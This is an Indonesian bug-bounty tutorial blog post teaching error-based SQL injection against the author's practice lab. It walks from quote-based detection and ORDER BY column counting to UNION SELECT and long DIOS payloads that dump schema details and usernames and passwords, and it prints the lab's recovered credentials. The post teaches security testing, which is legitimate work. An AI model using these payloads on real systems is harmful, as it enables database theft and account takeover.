u4y8Gs9fLTrJjhsijGL4SHOQBnG6Rdcc2m5wWn1z
Bookmark

Belajar Bug Bounty Bagian 3: Mengenal dan Mengeksploitasi Bug SQL Injection

Belajar Bug Bounty Bagian 3: Mengenal dan Mengeksploitasi Bug SQL Injection

Di artikel sebelumnya, Bagian 2 membahas tentang Cross-Site Scripting (XSS) — mulai dari pengertian, cara mendeteksi, hingga teknik mengeksploitasinya di program bug bounty. Pada Bagian 3 ini, kita akan melanjutkan pembahasan ke salah satu kerentanan paling berbahaya dalam aplikasi web, yaitu SQL Injection. Kamu akan mempelajari apa itu SQL Injection, jenis-jenisnya, cara mendeteksinya, hingga teknik eksploitasi yang sering digunakan para bug hunter untuk menemukan celah keamanan dan mendapatkan reward di program bug bounty.

Pada Bagian 3 ini kita akan membahas secara mendalam tentang SQL Injection — salah satu kerentanan paling populer yang sering ditemukan oleh para bug hunter. Artikel ini akan menjelaskan cara mengenali celah SQL Injection, teknik mengeksploitasinya secara aman, serta tips untuk memaksimalkan peluang menemukan bug di program bug bounty. Cocok untuk pemula maupun yang ingin meningkatkan skill dalam dunia bug bounty. Di artikel ini, kamu akan mempelajari:

  • Apa itu SQL Injection

  • Dampak Bug SQL Injection

  • Jenis-jenis SQL Injection yang umum ditemukan di website

Tujuan artikel ini adalah memberikan kalian pemahaman mendalam mengenai SQL Injection yang saya rangkum dari berbagai sumber. — Dan saya  sudah membuat Labs SQL Injection untuk kalian praktek. Dengan pengetahuan ini, kalian akan lebih percaya diri dalam menemukan, menguji, dan melaporkan kerentanan SQL Injection kepada vendor, sehingga peluang mendapatkan reward dalam program bug bounty menjadi lebih besar.

Apa itu SQL Injection

SQL Injection adalah jenis injection attack di mana query SQL disisipkan melalui input pengguna ke aplikasi, dengan tujuan memodifikasi atau memanipulasi perintah SQL yang telah ditetapkan. Serangan ini memungkinkan penyerang untuk membaca data sensitif, mengubah data, menjalankan operasi administratif seperti mematikan DBMS, mengakses file di sistem, dan dalam kasus ekstrem bahkan mengeksekusi perintah pada sistem operasi. Baca selengkapnya di https://owasp.org/www-community/attacks/SQL_Injection

Singkatnya, dengan Bug SQL Injection ini kalian bisa lihat database target, bahkan sampai isi columns seperti Password, Email, dan Kredensial sensitif lainnya yang seharusnya tidak boleh diakses. Di dunia bug bounty, celah ini jadi salah satu yang paling dicari karena dampaknya besar dan peluang reward-nya tinggi.

Dampak Bug SQL Injection

  1. Lihat isi database — misalnya daftar user, email, password (biasanya dalam bentuk hash).

  2. Ambil data sensitif — seperti data pengguna, transaksi, atau informasi internal.

  3. Ubah atau hapus data — bisa bikin data rusak atau hilang.

  4. Buat akun admin baru di sistem target.

  5. Jalanin perintah khusus di server database (kalau aksesnya memungkinkan).

  6. Akses file penting di server atau bahkan ambil alih sistem sepenuhnya.

Jenis-jenis SQL Injection yang sering ditemukan di website

SQL Injection ada banyak jenis, di artikel ini kita akan belajar SQL Injection Error-Based. Dan ada beberapa jenis lainnya yang paling sering ditemukan, yaitu:

  1. Error-Based SQL Injection

  2. Union-Based SQL Injection

  3. Time-Based Blind SQL Injection

Sekarang kita mulai praktek SQL Injection Error-Based menggunakan DIOS .

Apa itu DIOS

DIOS (Dump In One Shot) adalah teknik SQL Injection yang digunakan untuk mengambil banyak informasi dari database sekali eksekusi payload.

  • Biasanya proses SQLi dilakukan bertahap (cari database → cari tabel → cari kolom → dump data), DIOS menggabungkannya jadi satu query panjang.

  • Keuntungannya: cepat, efisien, dan minim request.

  • Kekurangannya: tidak semua target support karena panjang query bisa melebihi batas, atau ada filter WAF yang memblokir.

Dengan DIOS, kita bisa langsung mendapatkan:

  • Nama database

  • Daftar tabel

  • Daftar kolom dari setiap tabel

  • Data penting (misalnya username dan password)

Di lab ini, kamu akan belajar bagaimana memanfaatkan pesan error dari database untuk mendapatkan informasi penting, seperti jumlah kolom, nama tabel, hingga isi data. Teknik ini cocok untuk pemula yang ingin memahami konsep SQL Injection secara nyata, karena respon error akan langsung terlihat di layar, sehingga proses belajarnya lebih interaktif dan mudah diikuti.

URL Labs: https://labs.parkerzanta.net/bug/sqli/

Step 1 — cek apakah parameter rentan SQL Injection

1. Trigger error sederhana

Pergi ke halaman detail produk : https://labs.parkerzanta.net/bug/sqli/product.php?id=3 Masukkan tanda kutip ' (single quote) di parameter URL atau input form di labs kalian bisa test masukan tanda kutip ' di parameter id. Jika halaman menampilkan pesan error database, misalnya:

SQL Error: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''3''' at line 1

Jika ada pesan Error di atas berarti rentan terhadap SQL Injection Error Based. Biasanya tidak hanya menampilkan pesan You have an error in your SQL syntax xxx, bisa juga halaman menjadi rusak, misal nya gambar tidak tampil, halaman menjadi blank, kemungkinan rentan SQL Injection.

Belajar Bug SQL Injection

2. Konfirmasi dengan komentar SQL

Setelah memasukan tanda kutip ' (single quote) tambahkan komentar -- - (double dash + spasi + minus) untuk memutus query, contoh: https://labs.parkerzanta.net/bug/sqli/product.php?id=3'-- -

Jika halaman kembali normal atau tidak menampilkan error lagi, berarti query di belakangnya memang terputus oleh komentar. Ini tandanya bahwa parameter tersebut benar-benar rentan terhadap SQL Injection Error-Based.

Belajar Bug SQL Injection

Sinkatnya, untuk mengetahui URL tersebut rentan SQL Injection atau tidak bisak kalian bisa test dengan menambahkan tanda kutip ' di parameter. Jika halaman ada pesan error, atau halaman menjadi rusak, kalian konfirmasi kembali dengan menambahkan komentar -- - jika kembali normal berarti di parameter tersebut rentan SQL Injection Error-Based.

Step 2 — Cari jumlah kolom dengan ORDER BY

Uji jumlah kolom yang tersedia di query Tingkatkan angkanya sampai muncul error. Angka terakhir sebelum error adalah jumlah kolomnya. Kalian coba test di halaman labs nya. Atau buka url berikut:

https://labs.parkerzanta.net/bug/sqli/product.php?id=3' order by 1-- - → NO ERROR

https://labs.parkerzanta.net/bug/sqli/product.php?id=3' order by 2-- - → NO ERROR

https://labs.parkerzanta.net/bug/sqli/product.php?id=3' order by 3-- - → NO ERROR

https://labs.parkerzanta.net/bug/sqli/product.php?id=3' order by 4-- - → NO ERROR

https://labs.parkerzanta.net/bug/sqli/product.php?id=3' order by 5-- - → NO ERROR

https://labs.parkerzanta.net/bug/sqli/product.php?id=3' order by 6-- - → ERROR

Belajar Bug SQL Injection

Pada labs di atas muncul pesan error di bawah saat melakukan ORDER BY sampai angka 6 Jadi, jumlah kolom nya ada 5 jadi kita akan UNION SELECT sampai angka 5.

SQL Error: SQLSTATE[42S22]: Column not found: 1054 Unknown column '6' in 'ORDER BY'

Step 3 — Uji Dengan UNION SELECT untuk memunculkan nomor di halaman

Gunakan jumlah kolom yang sudah ditemukan. Misalnya jumlah kolom di atas ada 5, kalian coba:

product.php?id=-3' union select 1,2,3,4,5-- -

Gunakan jumlah kolom yang di temukan pada Step 2. Error saat ORDER BY di angka 6 jadi kita Union Select sampai angka 5. Dan pada saat UNION SELECT kalian tambahkan tanda minus - sebelum id product. Buka link berikut: https://labs.parkerzanta.net/bug/sqli/product.php?id=-3 union select 1,2,3,4,5-- - 

Belajar Bug SQL Injection

Di halaman tersebut pas kita UNION SELECT muncul angka 2, 4, dan 3. Jadi kita bisa memasukan DIOS di salah satu angka tersebut.

Step 4 — Masukan Payload DIOS untuk mendapatkan nama Database, Tables, dan Columns

Masukan payload DIOS di salah satu angka yang keluar di halaman saat melakukan UNION SELECT pada step 3. Payload DIOS di bawah akan menampilkan nama Database, Tables, dan Columns

Payload DIOS:

(SELECT CONCAT('SQL Injection Labs - Parkerzanta.net',0x3c62723e,0x3c62723e,'Nama Database [',(SELECT COUNT(*) FROM information_schema.schemata WHERE schema_name IN (database(),'information_schema')),']:',0x3c62723e,(SELECT GROUP_CONCAT(CONCAT(0x5b2a5d,0x20,schema_name) ORDER BY schema_name SEPARATOR 0x3c62723e) FROM information_schema.schemata WHERE schema_name IN (database(),'information_schema')),0x3c62723e,0x3c62723e,'Nama database :: Nama tables :: Nama Columns :',0x3c62723e,(SELECT GROUP_CONCAT(CONCAT(table_schema,0x20,0x3a,0x3a,0x20,table_name,0x20,0x3a,0x3a,0x20,column_name) ORDER BY table_schema,table_name,ordinal_position SEPARATOR 0x3c62723e) FROM information_schema.columns WHERE table_schema IN (database(),'information_schema'))))

Contoh saya memasukan Payload DIOS di atas pada angka 3. Maka akan menjadi seperti berikut:

https://labs.parkerzanta.net/bug/sqli/product.php?id=-3' union select 1,2,(SELECT CONCAT('SQL Injection Labs - Parkerzanta.net',0x3c62723e,0x3c62723e,'Nama Database [',(SELECT COUNT(*) FROM information_schema.schemata WHERE schema_name IN (database(),'information_schema')),']:',0x3c62723e,(SELECT GROUP_CONCAT(CONCAT(0x5b2a5d,0x20,schema_name) ORDER BY schema_name SEPARATOR 0x3c62723e) FROM information_schema.schemata WHERE schema_name IN (database(),'information_schema')),0x3c62723e,0x3c62723e,'Nama database :: Nama tables :: Nama Columns :',0x3c62723e,(SELECT GROUP_CONCAT(CONCAT(table_schema,0x20,0x3a,0x3a,0x20,table_name,0x20,0x3a,0x3a,0x20,column_name) ORDER BY table_schema,table_name,ordinal_position SEPARATOR 0x3c62723e) FROM information_schema.columns WHERE table_schema IN (database(),'information_schema')))),4,5-- -

Salin dan buka di tab baru URL di atas, halaman akan menampilkan Nama Database, Tables, dan Columns seperti gambar di bawah

Belajar SQL Injection

Step 5 — Dump Data Sensitif menggunakan DIOS

Pada tahap ini, kita sudah tahu nama database, tabel, dan kolom hasil dari Step 4. Sekarang kita akan mengambil isi kolom atau columns yang mengandung data sensitif, seperti username, email, password, atau informasi rahasia lainnya, menggunakan Payload DIOS di bawah:

(SELECT CONCAT('SQL Injection Labs - Parkerzanta.net',0x3c62723e,0x3c62723e,(SELECT GROUP_CONCAT(CONCAT(`nama_columns1`,0x20,0x3a,0x3a,0x20,`nama_colums2`) SEPARATOR 0x3c62723e) FROM `nama_database`.`nama_tables`)))

Kalian coba scroll ke halaman paling bawah di URL Dios di Step ke 4 maka kalian akan melihat detail berikut:

u1577996_labsparkerzanta.net :: credentials :: id
u1577996_labsparkerzanta.net :: credentials :: username
u1577996_labsparkerzanta.net :: credentials :: email
u1577996_labsparkerzanta.net :: credentials :: password
u1577996_labsparkerzanta.net :: products :: id
u1577996_labsparkerzanta.net :: products :: name
u1577996_labsparkerzanta.net :: products :: description
u1577996_labsparkerzanta.net :: products :: price
u1577996_labsparkerzanta.net :: products :: image

u1577996_labsparkerzanta.net — adalah nama Database

credentials — adalah nama Tables/Tabel

id, username, email, dan password — adalah nama Columns/Kolom dari Tables credentials 

Jadi, contoh kita akan dump/mengambil data username dan password dari columns credentials maka ganti Payload DIOS dump di atas menjadi seperti berikut:

(SELECT CONCAT('SQL Injection Labs - Parkerzanta.net',0x3c62723e,0x3c62723e,(SELECT GROUP_CONCAT(CONCAT(`username`,0x20,0x3a,0x3a,0x20,`password`) SEPARATOR 0x3c62723e) FROM `u1577996_labsparkerzanta.net`.`credentials`)))

URL akhir akan terlihat seperti berikut:

https://labs.parkerzanta.net/bug/sqli/product.php?id=-3' union select 1,2,(SELECT CONCAT('SQL Injection Labs - Parkerzanta.net',0x3c62723e,0x3c62723e,(SELECT GROUP_CONCAT(CONCAT(`username`,0x20,0x3a,0x3a,0x20,`password`) SEPARATOR 0x3c62723e) FROM `u1577996_labsparkerzanta.net`.`credentials`))),4,5-- -

Maka di halaman akan menampilkan Username dan Password dari pengguna labs. Yang bisa kalian gunakan untuk masuk ke halaman Dashboard.

Belajar Bug SQL Injection
Bisa dilihat pada gambar di atas, kita memasukan Payload DIOS untuk melakukan Tables dari Columns  username dan password. Dan kita mendapatkan sebuah Credentials pengguna untuk masuk ke halaman Dashboard 
administrator :: administrator123
staff :: 12345678
cs :: pass123

Contoh menggunakan Username: administrator dan Password: administrator123 kalian bisa login di URL beerikut: https://labs.parkerzanta.net/bug/sqli/login.php

Penutup

SQL Injection adalah salah satu kerentanan web yang paling berbahaya karena dampaknya bisa sangat besar — mulai dari membaca isi database, mencuri data sensitif, hingga mengambil alih kendali sistem.
Melalui lab ini, kita telah mempraktikkan bagaimana mengidentifikasi celah SQL Injection Error-Based, menentukan jumlah kolom, menemukan kolom yang tampil, hingga menggunakan teknik DIOS (Dump In One Shot) untuk mendapatkan informasi database secara cepat.

Perlu diingat, semua teknik yang dibahas di artikel ini hanya boleh digunakan pada lingkungan pengujian atau program bug bounty resmi yang mengizinkan pengujian keamanan. Melakukan eksploitasi pada sistem tanpa izin adalah ilegal dan dapat berakibat serius secara hukum.

Dan di program bug bounty kalian tidak harus mengambil data sensitif untuk bukti bahwa kalian menemukan kerentanan SQL Injection. Menampilkan nama database saja sudah cukup untuk membuat laporan.

Dengan memahami cara kerja SQL Injection dari dasar hingga teknik lanjutan seperti DIOS, diharapkan kamu bisa lebih percaya diri saat melakukan hunting bug bounty, sekaligus mampu membantu pemilik sistem memperbaiki celah keamanan yang ditemukan.

Posting Komentar

Posting Komentar